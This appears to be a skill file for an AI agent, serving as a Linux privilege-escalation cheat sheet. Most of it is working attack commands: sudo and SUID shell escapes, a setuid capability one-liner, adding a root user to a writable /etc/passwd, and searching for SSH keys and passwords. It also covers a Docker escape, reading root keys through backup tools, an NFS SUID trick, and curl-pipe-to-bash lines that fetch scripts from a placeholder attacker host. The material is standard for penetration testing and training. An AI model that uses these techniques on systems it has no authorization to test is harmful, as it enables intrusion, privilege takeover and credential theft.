Linux Privesc

---
name: Linux Privilege Escalation
description: |
  This skill should be used when the user asks about "Linux privilege escalation",
  "linpeas", "SUID", "sudo abuse", "GTFOBins", "kernel exploits", "cron jobs",
  "capabilities", or needs guidance on escalating privileges on Linux systems.
version: 1.0.0
---

# Linux Privilege Escalation Skill

## Overview
Techniques for escalating privileges from a low-privileged user to root on Linux systems.

## Automated Enumeration

### LinPEAS
```bash
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Save output
./linpeas.sh -a 2>&1 | tee linpeas.txt

# Focus on colors:
# RED/YELLOW = 95% PE vector
# RED = Possible PE vector
# CYAN = Files with interesting permissions
```

### LinEnum
```bash
curl http://<ATTACKER>/LinEnum.sh | bash
```

### Linux Smart Enumeration (LSE)
```bash
curl http://<ATTACKER>/lse.sh | bash -s -- -l 2
```

## Manual Enumeration Checklist

### 1. User Information
```bash
id                      # Current user and groups
whoami                  # Username
groups                  # Group memberships
cat /etc/passwd         # All users
cat /etc/group          # All groups
last                    # Login history
w                       # Who is logged in
```

### 2. Sudo Permissions
```bash
sudo -l                 # What can we run as sudo?
```

**Common Sudo Exploits (GTFOBins)**:

| Binary | Exploit |
|--------|---------|
| vim | `sudo vim -c '!sh'` |
| less | `sudo less /etc/passwd` then `!sh` |
| find | `sudo find / -exec /bin/sh \;` |
| awk | `sudo awk 'BEGIN {system("/bin/sh")}'` |
| nmap | `sudo nmap --interactive` then `!sh` |
| python | `sudo python -c 'import pty;pty.spawn("/bin/sh")'` |
| perl | `sudo perl -e 'exec "/bin/sh";'` |
| ruby | `sudo ruby -e 'exec "/bin/sh"'` |
| env | `sudo env /bin/sh` |
| ftp | `sudo ftp` then `!sh` |

### 3. SUID Binaries
```bash
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```

**Check against GTFOBins for each binary found**

Common exploitable SUID binaries:
- /usr/bin/find
- /usr/bin/vim
- /usr/bin/python
- /usr/bin/perl
- /usr/bin/nmap
- /usr/bin/less
- /usr/bin/awk

### 4. Capabilities
```bash
getcap -r / 2>/dev/null
```

**Exploitable Capabilities**:

| Capability | Exploit |
|------------|---------|
| cap_setuid | `python3 -c 'import os;os.setuid(0);os.execv("/bin/sh",["sh"])'` |
| cap_net_raw | Packet sniffing |
| cap_dac_override | Read any file |
| cap_sys_admin | Mount filesystems |

### 5. Cron Jobs
```bash
cat /etc/crontab
cat /etc/cron.d/*
cat /var/spool/cron/crontabs/*
ls -la /etc/cron.*

# Monitor for running cron
# Use pspy: https://github.com/DominicBreuker/pspy
./pspy64
```

**Cron Exploitation**:
- Writable script in cron
- Wildcard injection
- PATH manipulation

### 6. Writable Files
```bash
# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# Writable directories
find / -writable -type d 2>/dev/null

# Writable /etc/passwd
ls -la /etc/passwd
```

**If /etc/passwd is writable**:
```bash
# Generate hash
openssl passwd -1 -salt xyz password123

# Add root user
echo 'newroot:$1$xyz$...:0:0::/root:/bin/bash' >> /etc/passwd
su newroot
```

### 7. SSH Keys
```bash
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa
```

### 8. Passwords and Credentials
```bash
# History files
cat ~/.bash_history
cat ~/.zsh_history

# Config files with passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /home/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null

# MySQL credentials
cat /var/www/*/wp-config.php
cat /var/www/*/.env
```

### 9. Kernel Version
```bash
uname -a
uname -r
cat /etc/os-release
```

**Common Kernel Exploits**:

| Kernel | CVE | Name |
|--------|-----|------|
| < 4.8.3 | CVE-2016-5195 | DirtyCow |
| 5.8 - 5.16.11 | CVE-2022-0847 | DirtyPipe |
| 4.4 - 4.13 | CVE-2017-16995 | EBPF |

### 10. Processes Running as Root
```bash
ps aux | grep root
ps -ef | grep root
```

Look for:
- Custom scripts
- Services with known vulnerabilities
- Cron jobs

### 11. Network Services
```bash
netstat -tulpn
ss -tulpn
cat /etc/services
```

**Internal services may be exploitable**:
- MySQL running locally
- Redis without auth
- Docker socket

### 12. Docker/LXC
```bash
# Check if in docker
cat /proc/1/cgroup | grep docker

# Check docker socket
ls -la /var/run/docker.sock

# Docker group membership
groups | grep docker
```

**Docker Escape**:
```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

### 13. Backup Tool Abuse
```bash
# Check sudo -l for backup/restore tools
sudo -l | grep -iE "backup|restore|restic|borg|duplicity|tar|zip|7z"
```

**Pattern**: Backup tools with sudo can read/write arbitrary files.

| Tool | Read Files | Write Files |
|------|-----------|-------------|
| restic | `sudo restic backup /root -r /tmp/repo` then restore | Restore to arbitrary path |
| borg | `sudo borg create /tmp/repo::test /root` then extract | Extract to arbitrary path |
| tar | `sudo tar -cf /tmp/root.tar /root` | `sudo tar -xf archive.tar -C /` |
| zip/unzip | `sudo zip -r /tmp/root.zip /root` | `sudo unzip file.zip -d /` |
| rsync | `sudo rsync -a /root/ /tmp/` | `sudo rsync -a /tmp/payload /root/` |
| duplicity | Backup then restore | Restore to arbitrary path |

**Exploitation Examples**:

```bash
# Read /root/.ssh/id_rsa with tar
sudo tar -cf /tmp/root.tar /root/.ssh/id_rsa
tar -xf /tmp/root.tar -C /tmp/
cat /tmp/root/.ssh/id_rsa

# Read root.txt with any backup tool
# 1. Backup the target file
# 2. Extract/restore to readable location
# 3. Read the content

# Write authorized_keys with rsync
echo "ssh-rsa YOUR_KEY..." > /tmp/authorized_keys
sudo rsync /tmp/authorized_keys /root/.ssh/authorized_keys
ssh root@localhost
```

**Key Indicators**:
- sudo permissions on backup utilities
- Backup config files with paths
- Custom backup scripts in /usr/local/bin

### 14. NFS
```bash
cat /etc/exports
showmount -e <TARGET>
```

**If no_root_squash**:
```bash
# On attacker machine
mkdir /tmp/nfs
mount -t nfs <TARGET>:/share /tmp/nfs
cd /tmp/nfs
cp /bin/bash .
chmod +s bash
# On target
./bash -p
```

## Kernel Exploit Workflow

1. Identify kernel version: `uname -r`
2. Search for exploits: `searchsploit linux kernel <version>`
3. Download and compile on target or similar system
4. Transfer and execute

## Quick Reference

```markdown
# Priority Order
1. sudo -l (check GTFOBins + backup tools)
2. SUID binaries (check GTFOBins)
3. Capabilities
4. Cron jobs
5. Writable files (/etc/passwd)
6. Backup tools with sudo (restic, borg, tar, rsync)
7. Passwords in files
8. SSH keys
9. Docker/LXC escape
10. Kernel exploits (last resort)
```

## Resources
- GTFOBins: https://gtfobins.github.io/
- LinPEAS: https://github.com/carlospolop/PEASS-ng
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings